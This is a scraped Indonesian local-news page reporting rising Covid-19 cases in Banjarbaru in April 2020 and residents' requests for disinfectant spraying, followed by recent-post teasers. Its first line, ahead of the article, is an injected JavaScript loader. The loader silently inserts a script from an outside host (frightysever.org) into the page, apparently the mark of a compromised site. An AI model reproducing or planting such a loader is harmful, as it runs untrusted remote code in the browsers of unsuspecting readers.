(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Covid-19 Capai 11 Kasus, Warga Banjarbaru ‘Antre’ Minta Penyemprotan Disinfektan


KANALKALIMANTAN.COM, BANJARBARU – Jumlah kasus positif Covid-19 di Kota Banjarbaru kini mencapai 11 kasus. Kian bertambahnya jumlah pasien positif, menyebabkan munculnya keresahan di tengah lingkungan masyarakat. Hal itu, dibuktikan dengan banyak permohonan dari masyarakat yang meminta layanan penyemprotan disinfektan kepada pihak BPBD Banjarbaru.

“Mulai banyaknya permohonan penyemprotan disinfektan ini sejak adanya kenaikan 7 kasus positif covid-19 di Banjarbaru. Ya, kita memahami kondisi ini karena masyarakat khawatir,” kata Kepala Pelaksana Harian BPBD Banjarbaru, Zaini Syahranie, Selasa (21/4/2020) siang.

Dijelaskan Zaini -sapaan akrabnya, kebanyakan masyarakat yang meminta layanan penyemprotan disinfektan ini berasal dari pemukiman yang wilayahnya terdapat kasus covid-19. Agar penyemprotan dilakukan secara merata dan efektif, BPBD Banjarbaru turut menggandeng masyarakat sadar bencana di setiap kelurahan.

Tentu saja hal ini dilakukan mengingat jumlah personil di BPBD Banjarbaru juga terbatas. Ditambah lagi BPBD Banjarbaru juga masih banyak menerima permintaan dari instansi di wilayah Banjarbaru untuk dilakukan penyemprotan.

“Jadi, kami menyediakan cairan disinfektan. Nah, tim masyarakat siaga bencana sesuai domisilinya yang melakukan aksi penyemprotan. Namun, kita liat juga kondisinya. Jika perlu armada atau jasa BPBD maka kita akan terlibat juga di lapangan,” lanjutnya.

Terakhir, Zaini juga mengungkapkan bahwa kegiatan ini juga berdampak pada psikologis masyarakat. Yang mana, masyarakat akan lebih waspada dan serius dalam upaya pencegahan covid-19.

“Secara tidak sadar, masyarakat tau bahwa ancaman covid-19 ini benar-benar ada. Oleh karena itu kita berharap dengan layanan penyemprotan disinfektan Ini juga membuat masyarakat lebih waspada akan pandemi ini,” pungkasnya.(Kanalkalimantan.com/rico)

Reporter : Rico
Editor : Chell


Desy Arfianty

Recent Posts

1 Ramadan Resmi Jatuh Kamis 19 Februari

KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More

9 jam ago

Hilal di Kalsel Tidak Terlihat, 1 Ramadan Menunggu Keputusan Pusat

KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More

11 jam ago

Arti Warna Merah dalam Tradisi Imlek

KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More

15 jam ago

Ini Makna di Balik Shio Kuda Api Imlek 2026

KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More

19 jam ago

Malam Imlek Penuh Khidmat di Klenteng Karta Raharja Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More

20 jam ago

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

2 hari ago

This website uses cookies.